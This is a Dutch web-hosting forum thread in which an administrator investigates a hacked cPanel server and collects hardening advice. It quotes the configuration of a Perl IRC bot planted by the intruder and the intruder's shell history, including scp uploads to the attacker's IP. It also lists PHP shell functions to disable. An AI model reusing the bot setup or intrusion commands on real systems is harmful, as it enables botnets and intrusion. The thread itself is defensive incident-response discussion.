Bekijk Volledige Versie : cpanel server hack, hoe?
Kennis van me heeft een cpanel server waar ik ook nog wel eens wat onderhoud voor wil doen.
Nu kreeg ik bericht dat er vanuit die server geprobeerd werd een andere server te hacken.
In de /var/log/secure en /var/log/messages logfiles kon ik niets terugvinden op de tijd van de log.
Bij toeval zit ik in de /root directory te kijken en zie daar 2 files die mij vreemd voor komen.
Een bestand heeft de naam van een roemeens ip adres, het tweede bestand heet toderu.ro hetgeen uiteraard ook vaag is.
Beide bestanden staan als 644 gechmod ind ie directory en betreffen een script wat verbinding kan maken met een irc server en ook de aanval opent op de site waarvan de klacht binnen kwam.
Hier een paar stukjes van het script:
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
#################
#[Configuration]#
#################
my $linas_max='10';
my $sleep='1';
my $processo ="httpds";
my $cmd="SH3LL";
my $id="http://www.aangevallensite.nl/img/safe1.txt??";
my $spread="";
my $server="irc.mildnet.org";
my $porta="6667";
En dan nog een hoop scripting waarmee het ding verbinding kan maken met private kanalen op de irc, zich netjes online meld als bot etc.
De vraag is eigenlijk hoe in vredesnaam dat ding in de /root directory terecht kan komen op een Cpanel server?
En in welke logfiles kan ik dat terugvinden? Het is een Centos 5.x server.
De nieuwste up2date cpanel er op, Centos is compleet up2date, dus ik vraag me af hoe dit kan.
De files hebben een filedatum van 12 januari dus staan er klaarblijkelijk pas vanaf gisteren op.
BFD draaide al op de machine en wat beveiliging van Cpanel zelf.
Sinds afgelopen nacht heb ik er CSF/LFD op gezet, maar (nog) geen verbinding gezien vanaf het ip van de filenaam.
Wie was de eigenaar van de bestandjes? (bijna nutteloos om te vragen als ze in /root staan)
Eigenaar is root. Ik heb ze overigens nog steeds:
-rw-r--r-- 1 root root 37319 Jan 12 16:45 194.105.29.254
-rw-r--r-- 1 root root 37319 Jan 12 16:45 toderu.ro
Tjoep... gevonden. Root password gehacked op een of andere manier:
Jan 12 16:35:29 MRG005 sshd[19357]: Accepted password for root from 194.105.29.130 port 64768 ssh2
Vraag blijft natuurlijk hoe dit kan.
Niet "helloworld" als root password nemen en direct root login niet toestaan en.. en... en.... hier (http://www.webhostingtalk.nl/search.php)
Leuk dat je naar de search wijst maar dat helpt niet echt verder.
Het wachtwoord was veilig genoeg, de machine is pas in oktober door een van de grootste bedrijven in NL geinstalleerd en er werd een door Cpanel gegenereerd (met alle opties aan) root wachtwoord gebruikt, dus letters en tekens etc.
Verder was hij volledig up2date.
Ik vraag me nog steeds af hoe betreffede in de machine terecht is gekomen, ben de logfiles nog aan het naspitten. Gelukkig is ie vergeten de root history te wissen en ik ben er snel bij. Zo gek veel commando's heeft ie nog niet uitgevoerd zo te zien.
Scriptje geinstalleerd, zat ook constant op w te drukken, vermoedelijk omdat ik er rond die tijd ook in zat.
Ik ga in elk geval de boel nog wat meer dichttimmeren. Thanks!
Ik zou gewoon even je root PW veranderen, en even een firewall erop zetten of gebruik maken van hosts.allow en hosts.deny waardoor mensen geen toegang meer hebben tot SSH
Root wachtwoord veranderen is inderdaad het eerste wat ik gedaan heb na ontdekking. Daarna SSH toegang dicht gezet, men kan niet meer via ssh als root inloggen.
CSF/LFD wat ik noemde is een firewall met diverse mogelijkheden, dus een goede firewall met detectie is ook aanwezig en heb tevens alvast de toegang vanaf .ru en .ro domeinen dicht gezet, voor zover dat kan resolven.
Ook de server even gereboot om te zorgen dat eventueel vreemde processen ook gekilled zouden zijn.
Nu maar eens afwachten of er nog iets gebeurt anders moet ie hem maar laten herinstalleren ofzo.
Je noemt een cPanel server, echter staat dat er en beetje los van. Het gaat er om hoe je een server dicht timmert, cPanel, DA, Plesk of whatever doet er niet toe.
M.b.t. CentOS, heb je daarbij b.v. enkele progjes de rechten gegeven zodat alleen root ze kan uitvoeren?
Chmoded /usr/bin/rcp to 750.
Chmoded /usr/bin/wget to 750.
Chmoded /usr/bin/lynx to 750.
Chmoded /usr/bin/scp to 750.
Ontvang je een mail wanneer er als root wordt ingelogd? Wel zo handig om meteen in te kunnen grijpen...
Draai je CHKrootkit, RKhunter, heb je php functies als symlink, shell_exec, exec, proc_close, proc_open, popen, system, dl, passthru, escapeshellarg,
escapeshellcmd disabled?
Draait PHP in CGI, is allow_url_fopen, allow_url_inlude aangepast?
Zomaar een paar dingen die niets met cPanel te maken hebben, nog niet eens alles....
Thanks voor de tips!
Je noemt een cPanel server, echter staat dat er en beetje los van.
Een beetje wel maar toch niet helemaal. Je kunt bijv. niet zomaar wijzigingen gaan invoeren in php.ini enzo, anders worden die bij een upgrade overschreven, toch? Althans ik zie daar altijd waarschuwingen voor, ook bij onze server met directadmin.
Die kan ik (lijkt me toch) het beste via WHM instellen, zodat de wijzigingen ook door Cpanel bijgehouden worden.
Wel wil mijn kennis graag de opties zo houden dat je in de .htaccess zelf bijv. wijzigingen kunt blijven maken.
Als ik me niet vergis zijn er webshops die de url_fopen nodig hebben om te kunnen werken. Kan men dit dan nog steeds in de .htaccess activeren als je dat in php.ini uitschakeld?
Rkhunter is inderdaad geinstalleerd, maar ik zou er Chkrootkit bij kunnen plaatsen.
Verder is denyhosts ook nog actief.
PHP draait in DSO mode. De andere tips zal ik voor de zekerheid even checken. Momenteel draait er apache 2.0 op en die wilde ik toch al eens voor hem gaan upgraden naar versie 2.2 en dan gelijk ook Suhosin, suphp en mod_security installeren, werkt dat goed? Of kan ik er beter 1 of meer van achterwege laten?
Momenteel draait er alleen Suexec zo te zien.
Waar kan ik dat instellen dat het systeem een mail stuurt als iemand als root inlogt?
Zo dan? (http://www.letmegooglethatforyou.com/?q=secure+your+cpanel+server)
Als het zo moet vindt ik het toch fijner als je geen reply's meer schrijft Peter. Als je op die wijze wilt antwoorden, ga dan lekker op Computeridee ofzo zitten.;)
Hier op dit forum zit een hoop ervaring en wat ik graag wil weten is wat het effect is van bepaalde wijzigingen zoals aangegeven, op werkende websites, shops en cms systemen.
Klaarblijkelijk kun jij me die antwoorden niet geven en zijn de meeste antwoorden op internet in het Engels, vaak tegenstrijdig aan elkaar of ouder dan 2 jaar.
Dus lever a.u.b. een constructieve bijdrage want naar google verwijzen kunnen we allemaal, daar zijn forums niet voor opgericht.
hostingpower
14/01/09, 01:26
Wat wij standaard doen op onze cpanel servers, is een aantal php commando's uitzetten in php.ini(welke het systeem kunnen schaden zoals exec etc.) en door middel van mod_security en phpopenbasedir. Ik hoop dat ik je zo een beetje in de goede richting heb geholpen. je kan op http://forums.cpanel.net ook een basis howto vinden eventueel.
@hostingpower:
Thanks, daar heb ik tenmisnte iets aan, de forums ben ik overigens ook al vaker geweest.
Geert-Jan gaf ook al hulp, de php benamingen die hij noemde was ik wel al vaker tegen gekomen, dat zullen die php commando's zijn wat jij ook bedoeld neem ik aan?:
symlink, shell_exec, exec, proc_close, proc_open, popen, system, dl, passthru, escapeshellarg,
Alleen deze vindt ik niet terug in de php.ini file op de server (en ook niet in de php.ini op de eigen DA server). Ik dacht dat daar standaard bijna alles in stond en dat je dan alleen hoefde te activeren of deactiveren met zoals bijv. met de register_globals etc.
Open_basedir is al via de Cpanel tweak settings beveiligd, dat was zo'n beetje het eerste wat gedaan werd toen de server opgeleverd is geworden.
Ik ben alleen een beetje huiverig met die nieuwe opties.
Vorige keer had ik bijv. de php in cgi mode laten draaien, met als gevolg dat er een hele doos webshops op de server niet meer draaiden.
Dus snel weer de zaak in dso mode gezet en de boel draaide weer, terwijl je toch her en der dan weer leest dat het beter is om de boel in cgi mode te hebben.
En ik heb er een tijdje geleden google eens over nagelezen en dan werd op een plaats bijv. phpsuexec aangeraden en op een andere plaats weer afgeraden, dat werkt verwarrend. En als ik iets doe wil ik het liever echt goed doen.
Daarom dus dat ik ook benieuwd ben naar hoe het hier over het algemeen gedaan wordt, welke van genoemde opties er geactiveerd worden en welke liever niet (bijv. waarom Suhosin niet?).
Mod_security heb ik alhier wel al vaker over gelezen dus die gaat er sowieso op dan.
Dan ga ik nog even verder spitten op cpanel.:)
[voorkouwmodus]
mod_security kun je via cPanel installeren en configureren; is/was een beta module.
PHP gewoon in CGI zetten en vervolgens alle apache.apache bestanden chownen naar de juiste user en alle bestanden/dirs gechmod naar 777 op max. 755 zetten. (regel: 644 voor bestanden, 755 voor mappen).
Icm cPanel: easyapache gebruiken en kiezen voor 'php as user', dat gebruikt tegenwoordig standaard suPHP.
Je php.ini is zo uitgebreid als jij het zelf maakt -> om te beginnen kopieer de php.ini-recommended naar /etc/php.ini (als dat je .ini locatie is). Waarschijnlijk staat die ergens in /home/easyapache.
Overigens kun je die opties zelf ook toevoegen aan je php.ini.
De php.ini bestand kun je makkelijk wijzigen zonder dat het problemen gaat leveren met Cpanel. Bij een update van Cpanel word dit ook niet gewijzigd tenzij een major update van php (b.v. 4 naar 5).
Ik raad ook aan om suphp, suhosin, mod_security etc te installeren. Dit kan allemaal naast elkaar draaien zonder problemen.
@PeterT
Wel grappig dat je iets een voorkouwmodus noemt waarvan ik al beschreven heb dat al eens gedaan te hebben.:)
Vorige keer had ik bijv. de php in cgi mode laten draaien, met als gevolg dat er een hele doos webshops op de server niet meer draaiden.
Ik had toen ook al alle rechten goed gezet. Bestanden met apache:apache of in dit geval nobody:nobody bestaan niet, hooguit usernaam:nobody omdat apache als nobody draait op de server van m'n kennis.
Het beantwoord echter niet mijn vragen omtrent wat de risico's zijn. Het wijzigen van 777 naar 755 als er suPHP gedraait wordt is geen probleem.
Maar de werking van die webshops moet gegarandeerd zijn en dat lukt dus niet als ik php in cgi mode ga draaien en dat is wel weer nodig als je suPHP gaat gebruiken.
Die shops kreeg ik alleen gedeeltelijk weer aan de praat als ik in plaats van .htaccess bestanden met informatie nu php.ini bestanden in de public_html dirs ging plaatsen en dat kan niet de bedoeling zijn.
In elk geval kan ik wel iets met je informatie omtrent de php.ini, waarvoor dank. Die mag je dan wel als voorkouwmodus beschouwen. Maar alles moet ooit geleerd zijn. En leren is leuk, maar niet in een noodsituatie, dan wordt je liever graag even snel geholpen om het euvel op te lossen.;)
@Rachid: Bedankt. Op dit moment is phpsuexec en mod_security aan het draaien.
De beide anderen durf ik niet aan. Zoals gezegd is het mijn server niet en verleden keer veroorzaakte het draaien van php in cgi mode (makkelijk om te zetten) een uitval van de webshops en da's mijn grootste zorg.
Dus ik denk dat ik het voorlopig even zo laat, het is nu in elk geval een stuk beter dan voorheen en dan kan ik op m'n gemak mijn kennis omtrent het gebruik van suhosin, suPHP en andere dingen weer bijspijkeren danwel opvijzelen.
Ik zie in elk geval wel dat Cpanel toch voordelen heeft boven DirectAdmin wat op m'n eigen server draait. Beter en uitgebreider.
dreamhost_nl
14/01/09, 09:48
De php.ini bestand kun je makkelijk wijzigen zonder dat het problemen gaat leveren met Cpanel. Bij een update van Cpanel word dit ook niet gewijzigd tenzij een major update van php (b.v. 4 naar 5).
Ik raad ook aan om suphp, suhosin, mod_security etc te installeren. Dit kan allemaal naast elkaar draaien zonder problemen.
cPanel gebruikt een eigen php.in die anders kan zijn dan het php.ini van de overige gebruikers op de server. Bij een update van cPanel wijzigen dus niet je instellingen ineens ook mee.
@PeterT
Wel grappig dat je iets een voorkouwmodus noemt waarvan ik al beschreven heb dat al eens gedaan te hebben.:)
Ik noem het voorkouwmodus omdat je hier aangeeft "mijn server is gehackt, hoe kan dat?" ipv (zo lijkt het althans) zelf actief uitzoeken hoe het kan, de beveiliging opschroeven googlen/de search op dit functie gebruiken omdat dit soort onderwerpen al vaak langs zijn gekomen. Ja, er zit veel kennis op dit forum maar betekent dat er geen eigen initiatief verwacht kan worden?
Ik had toen ook al alle rechten goed gezet. Bestanden met apache:apache of in dit geval nobody:nobody bestaan niet, hooguit usernaam:nobody omdat apache als nobody draait op de server van m'n kennis.
Als er bestanden door apache zijn weggeschreven, zijn deze van nobody:nobody.
Als alle rechten/ownership goed staan, zal alles netjes blijven werken. Let wel op php_values e.d. in eventuele .htaccess bestanden want mod_php zal uitgeschakelt zijn.
Die shops kreeg ik alleen gedeeltelijk weer aan de praat als ik in plaats van .htaccess bestanden met informatie nu php.ini bestanden in de public_html dirs ging plaatsen en dat kan niet de bedoeling zijn.
Zie hierboven, mod_php kan php_values / php_admin_flag etc herkennen/verwerken, php als cgi (met bv suphp) niet. Dat is logisch..
Maar alles moet ooit geleerd zijn. En leren is leuk, maar niet in een noodsituatie, dan wordt je liever graag even snel geholpen om het euvel op te lossen.;)
Inderdaad maar het zou je sieren als je bijvoorbeeld eerst googled en als je er dan nog niet uitkomt vraagt ipv eerst roepen en dan nadenken.
@Rachid: Bedankt. Op dit moment is phpsuexec en mod_security aan het draaien.
De beide anderen durf ik niet aan. Zoals gezegd is het mijn server niet en verleden keer veroorzaakte het draaien van php in cgi mode (makkelijk om te zetten) een uitval van de webshops en da's mijn grootste zorg.
psst.. phpSuExec is ook een manier om PHP als cgi te laten draaien ;)
Ik zie in elk geval wel dat Cpanel toch voordelen heeft boven DirectAdmin wat op m'n eigen server draait. Beter en uitgebreider.
Beide kunnen hetzelfde, cPanel heeft alleen meer kant-en-klaar.
Vergeet overigens niet de compilers te disablen voor users. Kan ook via WHM.
Inderdaad maar het zou je sieren als je bijvoorbeeld eerst googled en als je er dan nog niet uitkomt vraagt ipv eerst roepen en dan nadenken.
Ja maar dat had ik dus gedaan. Ik wist wel van die beveiliging, maar mijn vraag was dan ook hoe het kon dat ze root rechten hadden gekregen, terwijl ze dat niet konden bruteforcen vanwege de aanwezigheid van denyhosts.
Daarop kreeg ik een antwoord hoe het te beveiligen, dat is wel mooi maar dat was de vraag niet. Ik weet het nog steeds niet maar vermoedelijk via een malicious script op een van de sites anders kan ik het me ook niet bedenken.
In een noodsituatie roep ik nogal graag, dat klopt en ga tegelijkertijd zoeken, des te meer kans op een snelle oplossing omdat je een antwoord kunt krijgen uit zowel je zoektocht alsook iemand die het leest en er op antwoord.
Al is het maar zover dat je tijdelijk beschermd bent om dan wat meer tijd te hebben zelf verdere oplossingen te zoeken.
Normaliter probeer ik echt wel eerst te zoeken en te kijken hoe ver ik kom.
Als er bestanden door apache zijn weggeschreven, zijn deze van nobody:nobody.
De meesten die ik zie zijn van user:nobody, de via php/apache geuploade attachments ook, maar grappig genoeg de door apache gemaakte thumbnails zijn wel nobody:nobody.
Maar oke, het was al duidelijk dat dit van apache was.
Zie hierboven, mod_php kan php_values / php_admin_flag etc herkennen/verwerken, php als cgi (met bv suphp) niet. Dat is logisch..
Exact, zet ik php in cgi mode krijg ik een server error bij de webshops. Oscommerce gaat dan bijv. heel vervelend doen. En dat heeft dan puur met die php_values in de htaccess te maken. Maarja ga eens al je users leren dat ze het nu met een php.ini doen moeten. Ik denk dat mijn kennis daar geen zin in heeft. En ik help hem alleen maar wat uit de brand als vriendendienst. Alleen leer ik er zelf ook altijd weer van bij en dat is dan mooi meegenomen.
Als ik die server in het begin voor mezelf had moeten inregelen had er phpsuxec, suhosin, suphp en de hele rataplan op gestaan.:)
phpSuExec is ook een manier om PHP als cgi
Er draait nu de gewone suExec er staat Apache suExec en da's toch weer anders zag ik al.
Kan phpSuexec wel moet php_values en php_admin_flag overweg of ook niet? Want het zou toch het mooist zijn als die .htaccess en die values gebruikt konden blijven.
Cpanel heeft inderdaad meer kant er klaar, maar ook updates, easyapache (heeft da ook niet), is toch wel handig.
Ook niet bugvrij want nu werkten de webshops in IE ook niet omdat de base-href leeg was. Even omzetten naar cgi mode en daarna weer terug naar dso mode en hups de zaak liep weer.
Compilers waren ook al uitgezet maar toch bedankt voor de tip.
Waar ik wel nog mee zit is een hoge load op mysql en zo te zien heeft dat te maken met --skip-external-locking. Daar heb ik half google voor opgezocht, maar naar ik lees is het verstandig om dat aan te hebben, doch voor de hoge load zie ik een x-tal posts, maar geen oplossing.
Bij deze alsnog bedankt voor de hulp en de uitleg. Ik begrijp dat er even een misverstand was over de bedoeling en niet duidelijk was wat ik wel en niet wist en/of al gedaan/opgezocht had.
Maarja ga eens al je users leren dat ze het nu met een php.ini doen moeten.
Been there, done that. Kost even wat extra tijd maar daarna ben je er blij om.
Er draait nu de gewone suExec er staat Apache suExec en da's toch weer anders zag ik al.
Kan phpSuexec wel moet php_values en php_admin_flag overweg of ook niet?
Dat is een andere verhaal ja en nee, phpSuExec kan er ook niet mee om gaan, alleen mod_php.
Cpanel heeft inderdaad meer kant er klaar, maar ook updates, easyapache (heeft da ook niet), is toch wel handig.
DA heeft het custombuild script, bijna hetzelfde als easyapache. Kijk maar eens in je /usr/local/directadmin/custombuild (er vanuitgaande dat je met een RHEL installatie werkt).
Waar ik wel nog mee zit is een hoge load op mysql
Zet de logging aan zodat lange queries gelogged worden of gebruik iets als mytop om het uit te zoeken.
Been there, done that. Kost even wat extra tijd maar daarna ben je er blij om.
Ik wel maar mijn kennis niet en het is zijn server, ik ga daar niet ook nog eens de gebruikerssupport van doen, mag ie fijn zelf doen.:)
Nogmaals iedereen dank voor de hulp.
Ook jij nog bedankt PeterT voor de tips!
Ik ga me toch even er tegen aan bemoeien:
-rw-r--r-- 1 root root 37319 Jan 12 16:45 194.105.29.254
-rw-r--r-- 1 root root 37319 Jan 12 16:45 toderu.ro
Waren de bestanden nu root of niet? Zo ja: formatteren...
Yep, het staat er duidelijk, de bestanden waren inderdaad rood.:)
En via de security log heb ik gezien dat de login via SSH gebeurd is.
Formatteren, ja lijkt mij ook de betere oplossing, maar het is mijn server niet.
En vermoedelijk is ie bang geweest want ik zat ook ingelogd de 12e toen ie bezig was. Want in de bash history zag ik dat ie steeds op w drukte om te zien of ik nog online was. Zo gek veel heeft ie niet gedaan, tenzij hij daar delen uit gehaald heeft, maar dat zie je dan ook nog wel.
Dus tja, ik heb mijn kennis ook gezegd dat hij het beste geformatteerd kan worden maar daar wil ie niet aan, het is een machine met de nodige shared accounts.
Aangezien er te weinig bruteforces waren vermoed ik dat ze op andere wijze aan het wachtwoord zijn gekomen, spyware, bot of iets anders op een andere pc waar het wachtwoord bewaard werd ofzoiets wellicht.
-rw-r--r-- 1 root root 37319 Jan 12 16:45 194.105.29.254
-rw-r--r-- 1 root root 37319 Jan 12 16:45 toderu.ro
Waren de bestanden nu root of niet? Zo ja: formatteren...
Yep, het staat er duidelijk, de bestanden waren inderdaad rood.:)
Niet ROOD, maar ROOT
Ja sorry, iedereen kan een typo maken.:D
Ik ga me toch even er tegen aan bemoeien:
Waren de bestanden nu root of niet? Zo ja: formatteren...
Echt niet. Als de history niet gewist is dan kun je voor 99% achterhalen wat er gedaan is en ik kan je garanderen dat voor 99% van de gevallen de inbreker helemaal niet geinteresseerd is in de rest van het systeem. Ze willen juist een systeem dat verder als een zonnetje draait, anders worden ze snel ontdekt en/of hebben ze niets aan de machine.
Overigens heb ik ook wel eens meegemaakt dat ze een password sniffen als je het voor FTP gebruikt. Daarom moet je altijd minstens FTP/TLS gebruiken of SFTP natuurlijk. Dat sniffen doen ze bijvoorbeeld vanaf een gehakte machine op hetzelfde netwerk, dat geen vlans gebruikt.
dat ze een password sniffen als je het voor FTP gebruikt.
Niet meegemaakt, maar wel van gehoord. Op die server is echter NOOIT het root password gebruikt om via ftp in te loggen. De mogelijkheid daartoe staat als het goed is zelfs disabled.
Voor de geinteresseerden, er is 2x ingelogt volgens de history en dit zijn beide acties geweest:
w
lsof
mount -v
ls -la /tmp/
lsattr /bin/
lsattr /sbin/
lsattr /usr/sbin/
lsattr /usr/bin/
last
last | grep root
history
w
w
ls -la
cat .lesshst
w
dmesg
tail - 400 /var/log/messages
tail - 400 /var/log/messages.1
w
cat /etc/syslog.conf
ifconfig
netstat -tulnp
netstat -antup
fuser -uvn tcp 55606
ls -l /proc/3926c
cd /home/dexxxxx/public_html/
ls -la
ls -laR | grep -v dexxxx
cd ./pics/daqog/ex3/
cat t.htm
cd ../../../
grep -Ri irc *
grep -ri irc *
grep -r -i irc *
grep -R -i irc *
ls -la
ls -lat
netstat -antup | grep 666
ps auxf | grep 3926
lsof 3926
lsof -p 3926
ls -la /proc/25811
ls -la /dev/zero
rkhunter -c
w
ps auxf
cat /usr/local/apache/domlogs/dexxxxxxx.nl
yum check-update
logout
Actie 2:
hostname
ps auxf | more
netstat -antup | grep irc
netstat -antup | grep 66
lsattr /bin/ | more
lsattr /usr/sbin/
w
w
last | more
ls -al
grep -R "safe1.txt" /usr/local/apache/logs/
grep -R "safe1.txt" /usr/local/apache/domlogs/
grep -R "safe1.txt" /usr/local/apache/domlogs/*
ifconfig
ls /tmp/
more /tmp/13.jpg
scp -P 45226 /tmp/13.jpg toderu.ro
scp -P 45226 /tmp/13.jpg toderu.ro
scp -P 45226 /tmp/13.jpg 194.105.29.254
scp
scp -P 45226 /tmp/13.jpg 194.105.29.254:
scp -P 45226 /tmp/13.jpg toderu@194.105.29.254:
rm /tmp/13.jpg
ls -la /tmp/
De accountnaam heb ik aangepast naar dexxxx net als de domeinnaam.
Echt niet. Als de history niet gewist is dan kun je voor 99% achterhalen wat er gedaan is en ik kan je garanderen dat voor 99% van de gevallen de inbreker helemaal niet geinteresseerd is in de rest van het systeem.
Succes. En die 1e % vertrouw ik niet. Laten we het zo stellen: *IK* zou formatteren, en er zijn genoeg discussies geweest op het forum om dat te doen.
Ik vind dat een Windows-gebruiker opmerking. Als je er even niet uit komt, dan formatteer je de zaak gewoon...
Toegegeven, je systeem herinstalleren heeft zeker voordelen. Het is een afweging die je alleen zelf kunt maken.
Niet meegemaakt, maar wel van gehoord. Op die server is echter NOOIT het root password gebruikt om via ftp in te loggen. De mogelijkheid daartoe staat als het goed is zelfs disabled.
telnet, imap, pop, serial console, toch een keer ftp net na installeren, nftp van een control panel backup, er zijn zoveel mogelijkheden waardoor het password een keer per ongeluk onversleuteld over de lijn is gegaan.
Het beste kun je het root password zo nu en dan wijzigen en zeker een paar dagen na installatie van de server en/of control panel.
Telnet staat uit, root mail wordt via een alias verzonden naar een normaal email account. Seriele console kan wel geweest zijn en voorheen stond ook root toegang voor ssh open, wel met ssh2 beperking. Dus sniffen zou op zich wel een mogelijkheid kunnen zijn geweest. Dat klopt.
Root wachtwoord gaat nu eens vaker vervangen worden, vlak na server installatie doe ik dat zelf sowieso altijd, alleen weet ik niet of m'n kennis dat ook gedaan had.
Maar hem kennende vermoedelijk niet.;)
Ik vind dat een Windows-gebruiker opmerking. Als je er even niet uit komt, dan formatteer je de zaak gewoon...
*GAAP*. Feit is dat je met de huidige rootkits simpelweg niet meer zeker *KAN* zijn van je zaak. Heeft niets met Windows te maken (ik maak overigens gebruik van OSx en FreeBSD 7), noch met kennis. Een bak die geroot is *KAN* je niet meer vertrouwen. Een ieder die anders beweerd is naar mijn mening niet serieus bezig.